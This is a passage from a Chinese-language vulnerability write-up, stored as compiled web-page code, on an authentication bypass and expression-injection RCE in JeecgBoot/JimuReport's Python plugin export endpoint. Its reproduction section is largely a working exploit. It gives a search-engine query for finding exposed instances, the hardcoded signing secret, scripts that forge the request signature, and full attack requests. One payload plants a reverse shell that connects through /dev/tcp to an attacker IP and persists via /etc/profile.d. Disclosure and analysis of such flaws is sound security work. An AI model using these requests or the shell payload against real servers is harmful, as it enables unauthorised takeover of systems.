\u5bfc\u51fa\u5904\u7406\u94fe\u3002\u7b7e\u540d\u53ea\u6821\u9a8c\u8bf7\u6c42\u5b8c\u6574\u6027\uff0c\u4e0d\u4f1a\u5c06 ",(0,s.jsx)(n.code,{children:"params"})," \u9650\u5236\u4e3a\u666e\u901a\u5b57\u9762\u91cf\uff0c\u4e5f\u6ca1\u6709\u66ff\u4ee3\u771f\u5b9e\u8eab\u4efd\u8ba4\u8bc1\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u7ed5\u8fc7\u94fe\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u901a\u8fc7\u62a5\u8868\u67e5\u8be2\u63a5\u53e3\u53d6\u5f97\u4e00\u4e2a\u53ef\u7528\u7684\u62a5\u8868 ID\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u6784\u9020 ",(0,s.jsx)(n.code,{children:"reportParams[].params"}),"\uff0c\u4f7f\u53c2\u6570\u503c\u8fdb\u5165\u8868\u8fbe\u5f0f\u5904\u7406\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528\u5f53\u524d\u6beb\u79d2\u65f6\u95f4\u6233\u548c\u63d2\u4ef6\u7b7e\u540d\u89c4\u5219\u8ba1\u7b97 ",(0,s.jsx)(n.code,{children:"X-Sign"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u8bf7\u6c42 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"})," \u4f7f\u767b\u5f55\u6821\u9a8c\u653e\u884c\uff0c",(0,s.jsx)(n.code,{children:"@JimuSignature"})," \u4ec5\u9a8c\u8bc1\u7b7e\u540d\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u63a7\u5236\u5668\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"IJimuReportAutoService.autoExport"}),"\uff0c\u53c2\u6570\u7ee7\u7eed\u8fdb\u5165 Python \u81ea\u52a8\u5bfc\u51fa\u6d41\u7a0b\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u8868\u8fbe\u5f0f\u88ab\u6c42\u503c\uff0c\u4ea7\u751f\u6587\u4ef6\u5199\u5165\u6216\u66f4\u9ad8\u5f71\u54cd\u7684\u6267\u884c\u7ed3\u679c\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u4e09\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7",children:"\u4e09\u3001\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u5382\u5546\uff1aJeecgBoot / JimuReport"}),"\n",(0,s.jsx)(n.li,{children:"\u4ea7\u54c1\uff1aJeecgBoot \u4f01\u4e1a\u7ea7\u4f4e\u4ee3\u7801\u5e73\u53f0\uff08\u96c6\u6210 JimuReport\uff09"}),"\n",(0,s.jsx)(n.li,{children:"\u76f8\u5173\u529f\u80fd\uff1aJimuReport \u81ea\u52a8\u5bfc\u51fa\u3001Python \u63d2\u4ef6\u5bfc\u51fa"}),"\n",(0,s.jsxs)(n.li,{children:["\u539f\u59cb\u4fee\u590d\u5165\u53e3\uff1a",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u7ed5\u8fc7\u5165\u53e3\uff1a",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"})]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",children:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce:"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["quake: ",(0,s.jsx)(n.code,{children:'title="JeecgBoot \u4f01\u4e1a\u7ea7\u4f4e\u4ee3\u7801\u5e73\u53f0"'})]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171749761",src:r(81292).A+"",width:"2520",height:"1390"})}),"\n",(0,s.jsx)(n.h2,{id:"\u56db\u5f71\u54cd\u4ea7\u54c1\u7248\u672c",children:"\u56db\u3001\u5f71\u54cd\u4ea7\u54c1\u7248\u672c"}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u5730\u4ed3\u5e93\u7684\u5206\u6790\u57fa\u7ebf\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["JeecgBoot\uff1a",(0,s.jsx)(n.code,{children:"3.9.5"})]}),"\n",(0,s.jsxs)(n.li,{children:["JimuReport Spring Boot 4 Starter\uff1a",(0,s.jsx)(n.code,{children:"2.5.1"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5173\u952e\u4f9d\u8d56\uff1a",(0,s.jsx)(n.code,{children:"jimureport-spring-boot4-starter-2.5.1.jar"})]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u7248\u672c\u5224\u65ad\u5e94\u4ee5\u8fd0\u884c\u65f6\u5b9e\u9645\u52a0\u8f7d\u7684 JimuReport JAR \u4e3a\u51c6\u3002\u82e5\u90e8\u7f72\u4f7f\u7528\u72ec\u7acb JimuReport\u3001\u5e73\u53f0\u955c\u50cf\u6216\u4e8c\u6b21\u5f00\u53d1\u7248\u672c\uff0c\u5e94\u68c0\u67e5\u8fd0\u884c\u65f6\u7c7b\u6587\u4ef6\u662f\u5426\u540c\u65f6\u5177\u5907\u4ee5\u4e0b\u7279\u5f81\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"/export/python/plugin\n@JimuNoLoginRequired\n@JimuSignature\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u6587\u5c06\u201c\u539f\u59cb\u5165\u53e3\u5df2\u52a0\u6743\u9650\u3001\u65c1\u8def\u5165\u53e3\u4ecd\u514d\u767b\u5f55\u5e76\u53ef\u7b7e\u540d\u8c03\u7528\u201d\u7684\u72b6\u6001\u5b9a\u4e49\u4e3a\u53d7\u5f71\u54cd\u72b6\u6001\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u4e94\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe",children:"\u4e94\u3001\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe"}),"\n",(0,s.jsx)(n.h3,{id:"1-\u51c6\u5907\u9a8c\u8bc1\u73af\u5883",children:"1. \u51c6\u5907\u9a8c\u8bc1\u73af\u5883"}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u9a8c\u8bc1\u73af\u5883\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:80\nhttp://127.0.0.1:8080\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u5e94\u7528\u914d\u7f6e\u4e86\u4e0a\u4e0b\u6587\u8def\u5f84\uff0c\u4ee5\u4e0b\u793a\u4f8b\u4f7f\u7528\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:8080/jeecg-boot\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5148\u786e\u8ba4\u5e94\u7528\u786e\u5b9e\u90e8\u7f72\u4e86 JimuReport\u3002\u5bf9\u9898\u8bbe\u4e2d\u7684\u4e24\u4e2a\u5730\u5740\u76f4\u63a5\u8bf7\u6c42\u65f6\uff0c\u82e5\u8fd4\u56de nginx ",(0,s.jsx)(n.code,{children:"405"})," \u6216 Tomcat ",(0,s.jsx)(n.code,{children:"404"}),"\uff0c\u8bf4\u660e\u8bf7\u6c42\u5c1a\u672a\u8fdb\u5165\u76ee\u6807\u63a7\u5236\u5668\uff0c\u5e94\u6539\u7528\u6b63\u786e\u7684\u4e0a\u4e0b\u6587\u8def\u5f84\u6216\u5b9e\u9645\u76d1\u542c\u5730\u5740\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"2-\u83b7\u53d6\u62a5\u8868-id",children:"2. \u83b7\u53d6\u62a5\u8868 ID"}),"\n",(0,s.jsx)(n.p,{children:"\u5411\u62a5\u8868\u67e5\u8be2\u63a5\u53e3\u53d1\u9001 GET \u8bf7\u6c42\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10 HTTP/1.1\nHost: 127.0.0.1:8080\nAccept: application/json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nConnection: close\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5178\u578b\u8fd4\u56de\u4e3a JSON\u3002\u4e0d\u540c\u7248\u672c\u5b57\u6bb5\u5305\u88c5\u53ef\u80fd\u7565\u6709\u5dee\u5f02\uff0c\u91cd\u70b9\u67e5\u770b ",(0,s.jsx)(n.code,{children:"result.records[].id"})," \u5b57\u6bb5\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "success": true,\n "result": {\n "records": [\n {\n "id": "REPORT_ID",\n "name": "REPORT_NAME"\n }\n ]\n }\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u8fd4\u56de\u7684 ",(0,s.jsx)(n.code,{children:"REPORT_ID"})," \u8bb0\u4e0b\uff0c\u540e\u7eed\u653e\u5165 ",(0,s.jsx)(n.code,{children:"reportParams[0].id"}),"\u3002\u82e5\u8be5\u63a5\u53e3\u88ab\u6743\u9650\u63a7\u5236\uff0c\u4e5f\u53ef\u4ee5\u4ece\u5df2\u7ecf\u6253\u5f00\u7684\u62a5\u8868\u9875\u9762\u3001\u5bfc\u51fa\u8bf7\u6c42\u6216\u5e94\u7528\u65e5\u5fd7\u4e2d\u53d6\u5f97\u540c\u4e00\u5b57\u6bb5\uff1b\u8fd9\u4e00\u6b65\u7684\u76ee\u7684\u53ea\u662f\u5f97\u5230\u4e00\u4e2a\u5b58\u5728\u7684\u62a5\u8868 ID\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902161458266",src:r(54066).A+"",width:"2409",height:"1446"})}),"\n",(0,s.jsx)(n.h3,{id:"3-\u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53",children:"3. \u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53"}),"\n",(0,s.jsxs)(n.p,{children:["\u4f7f\u7528\u4e00\u4e2a\u53ea\u4ea7\u751f\u6587\u4ef6\u6807\u8bb0\u7684\u8868\u8fbe\u5f0f\u4f5c\u4e3a ",(0,s.jsx)(n.code,{children:"params.x"}),"\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[\'io\'][\'spit\'](\'/tmp/jeecg_jimureport_poc\',\'JEECG_JIMUREPORT_POC\')"},"exportType":"pdf"}]}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b7e\u540d\u5fc5\u987b\u9488\u5bf9",(0,s.jsx)(n.strong,{children:"\u53d1\u9001\u51fa\u53bb\u7684\u539f\u59cb\u5b57\u8282\u5e8f\u5217"}),"\u8ba1\u7b97\u3002\u4e0d\u8981\u5728\u8ba1\u7b97\u7b7e\u540d\u540e\u91cd\u65b0\u683c\u5f0f\u5316 JSON\u3001\u589e\u52a0\u6362\u884c\u6216\u6539\u53d8\u5b57\u6bb5\u987a\u5e8f\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"4-\u8ba1\u7b97\u8bf7\u6c42\u5934",children:"4. \u8ba1\u7b97\u8bf7\u6c42\u5934"}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u5730 2.5.1 \u7c7b\u6587\u4ef6\u4e2d\u7684\u63d2\u4ef6\u7b7e\u540d\u903b\u8f91\u7b49\u4ef7\u4e8e\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"X-TIMESTAMP = \u5f53\u524d Unix \u6beb\u79d2\u65f6\u95f4\u6233\nX-Sign = MD5(raw_body + PLUGIN_SIGN_SECRET).upper()\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5206\u6790\u57fa\u7ebf\u4e2d ",(0,s.jsx)(n.code,{children:"PLUGIN_SIGN_SECRET"})," \u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u624b\u5de5\u8ba1\u7b97\u793a\u4f8b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:'BODY=\'{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[\'"\'"\'io\'"\'"\'][\'"\'"\'spit\'"\'"\'](\'"\'"\'/tmp/jeecg_jimureport_poc\'"\'"\',\'"\'"\'JEECG_JIMUREPORT_POC\'"\'"\')"},"exportType":"pdf"}]}\'\nTS=$(python3 -c \'import time; print(int(time.time() * 1000))\')\nSECRET=\'6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121\'\nSIGN=$(printf \'%s%s\' "$BODY" "$SECRET" | md5sum | awk \'{print toupper($1)}\')\nprintf \'timestamp=%s\\nsign=%s\\n\' "$TS" "$SIGN"\n'})}),"\n",(0,s.jsx)(n.p,{children:"Windows PowerShell \u7b49\u4ef7\u8ba1\u7b97\u65b9\u5f0f\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-powershell",children:"$Body = '{\"reportParams\":[{\"id\":\"REPORT_ID\",\"params\":{\"x\":\"=__instance__.moduleCache[''io''][''spit''](''/tmp/jeecg_jimureport_poc'',''JEECG_JIMUREPORT_POC'')\"},\"exportType\":\"pdf\"}]}'\n$Secret = '6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121'\n$Bytes = [Text.Encoding]::UTF8.GetBytes($Body + $Secret)\n$Md5 = [Security.Cryptography.MD5]::Create().ComputeHash($Bytes)\n$Sign = ([BitConverter]::ToString($Md5) -replace '-', '').ToUpper()\n$Timestamp = [DateTimeOffset]::Now.ToUnixTimeMilliseconds()\n$Sign\n$Timestamp\n"})}),"\n",(0,s.jsx)(n.h3,{id:"5-\u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42",children:"5. \u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u4e0a\u4e00\u6b65\u7684 ",(0,s.jsx)(n.code,{children:"REPORT_ID"}),"\u3001",(0,s.jsx)(n.code,{children:"CURRENT_MILLISECONDS"})," \u548c ",(0,s.jsx)(n.code,{children:"MD5_UPPER"})," \u66ff\u6362\u4e3a\u5b9e\u9645\u503c\uff0c\u53d1\u9001\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:'POST /jeecg-boot/jmreport/auto/export/python/plugin HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/json\nX-TIMESTAMP: CURRENT_MILLISECONDS\nX-Sign: MD5_UPPER\nContent-Length: BODY_BYTE_LENGTH\n\n{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[\'io\'][\'spit\'](\'/tmp/jeecg_jimureport_poc\',\'JEECG_JIMUREPORT_POC\')"},"exportType":"pdf"}]}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e5f\u53ef\u4ee5\u4f7f\u7528 curl \u53d1\u9001\u540c\u4e00\u539f\u59cb JSON\u3002",(0,s.jsx)(n.code,{children:"--insecure"})," \u7528\u4e8e\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\uff1bHTTP \u73af\u5883\u4e0b\u4e0d\u4f1a\u4ea7\u751f\u989d\u5916\u5f71\u54cd\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"curl --insecure -i \\\n -X POST 'http://127.0.0.1:8080/jeecg-boot/jmreport/auto/export/python/plugin' \\\n -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' \\\n -H 'Content-Type: application/json' \\\n -H \"X-TIMESTAMP: $TS\" \\\n -H \"X-Sign: $SIGN\" \\\n --data-binary \"$BODY\"\n"})}),"\n",(0,s.jsx)(n.h3,{id:"6-\u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7",children:"6. \u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7"}),"\n",(0,s.jsxs)(n.p,{children:["\u6210\u529f\u8fdb\u5165\u63a7\u5236\u5668\u65f6\uff0c\u5e38\u89c1\u54cd\u5e94\u4e3a HTTP ",(0,s.jsx)(n.code,{children:"200"}),"\uff0c\u54cd\u5e94\u4f53\u53ef\u80fd\u662f\u5bfc\u51fa\u4e1a\u52a1 JSON\u3001\u4e0b\u8f7d\u4fe1\u606f\u6216\u6587\u4ef6\u6d41\uff0c\u53d6\u51b3\u4e8e\u7248\u672c\u548c\u5bfc\u51fa\u914d\u7f6e\u3002\u4f8b\u5982\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"HTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "success": true,\n "message": "\u5bfc\u51fa\u62a5\u8868\u6210\u529f",\n "result": {}\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u9a8c\u8bc1\u91cd\u70b9\u4e0d\u662f\u56fa\u5b9a\u7684 ",(0,s.jsx)(n.code,{children:"result"})," \u7ed3\u6784\uff0c\u800c\u662f\u4ee5\u4e0b\u4fe1\u53f7\u662f\u5426\u540c\u65f6\u51fa\u73b0\uff1a"]}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u5e94\u7528\u65e5\u5fd7\u51fa\u73b0\u81ea\u52a8\u5bfc\u51fa/Python \u5bfc\u51fa\u8c03\u7528\u8bb0\u5f55\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u670d\u52a1\u5668\u4e0a\u51fa\u73b0 ",(0,s.jsx)(n.code,{children:"/tmp/jeecg_jimureport_poc"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6807\u8bb0\u6587\u4ef6\u5185\u5bb9\u4e3a ",(0,s.jsx)(n.code,{children:"JEECG_JIMUREPORT_POC"}),"\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u8fd4\u56de\u7ed3\u679c\u4e0d\u518d\u662f\u767b\u5f55\u5931\u8d25\u6216\u6743\u9650\u5931\u8d25\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u6587\u4ef6\u6807\u8bb0\u672a\u51fa\u73b0\u4f46\u54cd\u5e94\u5df2\u8fdb\u5165\u5bfc\u51fa\u6d41\u7a0b\uff0c\u5e94\u7ee7\u7eed\u68c0\u67e5\u62a5\u8868 ID\u3001\u5bfc\u51fa\u4f9d\u8d56\u3001Python \u73af\u5883\u3001\u4e34\u65f6\u76ee\u5f55\u6743\u9650\u548c\u5e94\u7528\u65e5\u5fd7\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171015989",src:r(44644).A+"",width:"2486",height:"852"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171052052",src:r(80752).A+"",width:"1659",height:"522"})}),"\n",(0,s.jsx)(n.h3,{id:"7\u5199\u5165rce",children:"7.\u5199\u5165RCE"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'POST /jeecgboot/jmreport/auto/export/python/plugin HTTP/1.1\nHost: 172.20.10.2\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nX-Tenant-Id: 1000\nX-TIMESTAMP: 1788340125303\nX-Sign: 9C0E1E0A227BC5AC60E05DE6B8AAD291\nReferer: http://172.20.10.2/login?redirect=/dashboard/analysis\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\nConnection: keep-alive\nContent-Type: application/json\nContent-Length: 262\n\n{"reportParams":[{"id":"907480464532770816","params":{"x":"=__instance__.moduleCache[\'io\'][\'spit\'](\'/etc/profile.d/shell.sh\',\'setsid sh -c \\"0<&196;exec 196<>/dev/tcp/\u653b\u51fb\u8005\u76d1\u542cIP/1234; /bin/bash <&196 >&196 2>&196\\" >/dev/null 2>&1 &\')"},"exportType":"pdf"}]}\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171222468",src:r(21594).A+"",width:"2505",height:"938"})}),"\n",(0,s.jsx)(n.p,{children:"\u968f\u540e \u901a\u8fc7\u6a21\u62df\u767b\u5f55 \u6216 \u6253\u5f00 bash \u5373\u53ef\u89e6\u53d1\u53cd\u5f39shell"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171528544",src:r(72462).A+"",width:"2830",height:"546"})}),"\n",(0,s.jsx)(n.h2,{id:"\u516d\u6f0f\u6d1e\u5206\u6790",children:"\u516d\u3001\u6f0f\u6d1e\u5206\u6790\uff1a"}),"\n",(0,s.jsx)(n.h3,{id:"1-\u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4",children:"1. \u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4"}),"\n",(0,s.jsxs)(n.p,{children:["Issue #9837 \u9488\u5bf9\u7684\u539f\u59cb\u5165\u53e3\u5728\u63a7\u5236\u5668\u4e2d\u5bf9\u5e94 ",(0,s.jsx)(n.code,{children:"/export"})," \u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u53cd\u7f16\u8bd1\u540e\u53ef\u8fd8\u539f\u4e3a\u4ee5\u4e0b\u7ed3\u6784\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'@RestController\n@RequestMapping("/jmreport/auto")\npublic class JimuReportAutoController {\n\n @PostMapping("/export")\n @RequiresRoles(value = {"admin", "lowdeveloper"}, logical = Logical.OR)\n @RequiresPermissions("jmreport:exportJob:export")\n public Result export(@RequestBody JimuReportAutoExportVO vo) {\n String currentDomain = getCurrentDomain(getRequest());\n vo.setDomain(currentDomain);\n vo.setExportFrom("api");\n return jimuReportAutoService.autoExport(vo);\n }\n\n @PostMapping("/export/python/plugin")\n @JimuSignature\n @JimuNoLoginRequired\n public Result exportPythonPlugin(\n @RequestBody JimuReportAutoExportVO vo) {\n String currentDomain = getCurrentDomain(getRequest());\n vo.setDomain(currentDomain);\n vo.setExportFrom("api");\n return jimuReportAutoService.autoExport(vo);\n }\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5173\u952e\u5dee\u5f02\u662f\uff1a\u539f\u59cb ",(0,s.jsx)(n.code,{children:"/export"})," \u65b9\u6cd5\u5177\u6709\u89d2\u8272\u548c\u6743\u9650\u6ce8\u89e3\uff0c\u800c ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u65b9\u6cd5\u4ecd\u6709 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u5e76\u4e14\u4e24\u8005\u6700\u7ec8\u90fd\u8c03\u7528\u540c\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"autoExport(vo)"}),"\u3002\u56e0\u6b64\uff0c\u53ea\u4fee\u590d ",(0,s.jsx)(n.code,{children:"/export"})," \u7684\u6ce8\u89e3\u5e76\u4e0d\u80fd\u5173\u95ed\u65c1\u8def\u3002"]}),"\n",(0,s.jsxs)(n.h3,{id:"2-jimureportautocontroller-\u6570\u636e\u6d41",children:["2. ",(0,s.jsx)(n.code,{children:"JimuReportAutoController"})," \u6570\u636e\u6d41"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class\n\u65b9\u6cd5\uff1ab(org.jeecg.modules.jmreport.automate.model.JimuReportAutoExportVO)\n\u7f16\u8bd1\u6e90\u6587\u4ef6\uff1aJimuReportAutoController.java\n"})}),"\n",(0,s.jsx)(n.p,{children:"Python \u63d2\u4ef6\u65b9\u6cd5\u7684\u5b9e\u9645\u5b57\u8282\u7801\u903b\u8f91\u7b49\u4ef7\u4e8e\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'@RequestMapping(value = "/export/python/plugin", method = RequestMethod.POST)\n@JimuSignature\n@JimuNoLoginRequired\npublic Result exportPythonPlugin(\n @RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) {\n String currentDomain = getCurrentDomain(getRequest());\n jimuReportAutoExportVO.setDomain(currentDomain);\n jimuReportAutoExportVO.setExportFrom("api");\n log.debug("\u3010\u8c03\u7528python\u3011\u62a5\u8868\u81ea\u52a8\u5bfc\u51fa\u53c2\u6570\uff0ccurrentDomain ={}, jimuReportAutoExportVO = {}",\n currentDomain, jimuReportAutoExportVO);\n return jimuReportAutoService.autoExport(jimuReportAutoExportVO);\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u6ca1\u6709\u770b\u5230\u5bf9 ",(0,s.jsx)(n.code,{children:"reportParams[].params"})," \u7684 allowlist\u3001\u8868\u8fbe\u5f0f\u524d\u7f00\u62d2\u7edd\u6216\u5bf9\u8c61\u8bbf\u95ee\u9650\u5236\uff1b\u8bf7\u6c42\u4f53\u5b8c\u6210 JSON \u7ed1\u5b9a\u540e\u76f4\u63a5\u8fdb\u5165\u7edf\u4e00\u81ea\u52a8\u5bfc\u51fa\u670d\u52a1\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902161822367",src:r(10031).A+"",width:"2562",height:"1172"})}),"\n",(0,s.jsxs)(n.h3,{id:"3-jimureportsignatureinterceptor\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1",children:["3. ",(0,s.jsx)(n.code,{children:"JimuReportSignatureInterceptor"}),"\uff1a\u7b7e\u540d\u901a\u8fc7\u4f46\u4e0d\u6062\u590d\u8eab\u4efd\u8ba4\u8bc1"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/common/interceptor/JimuReportSignatureInterceptor.class\n\u65b9\u6cd5\uff1apreHandle(HttpServletRequest, HttpServletResponse, Object)\n\u76f8\u5173\u5e38\u91cf\uff1aX_SIGN\u3001X_TIMESTAMP\u3001PRINT_PLUGIN_SIGN_SECRET\u3001MAX_EXPIRE\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u62e6\u622a\u5668\u901a\u8fc7\u53cd\u5c04\u68c0\u67e5\u65b9\u6cd5\u662f\u5426\u5e26\u6709 ",(0,s.jsx)(n.code,{children:"@JimuSignature"}),"\u3002\u5bf9 Python 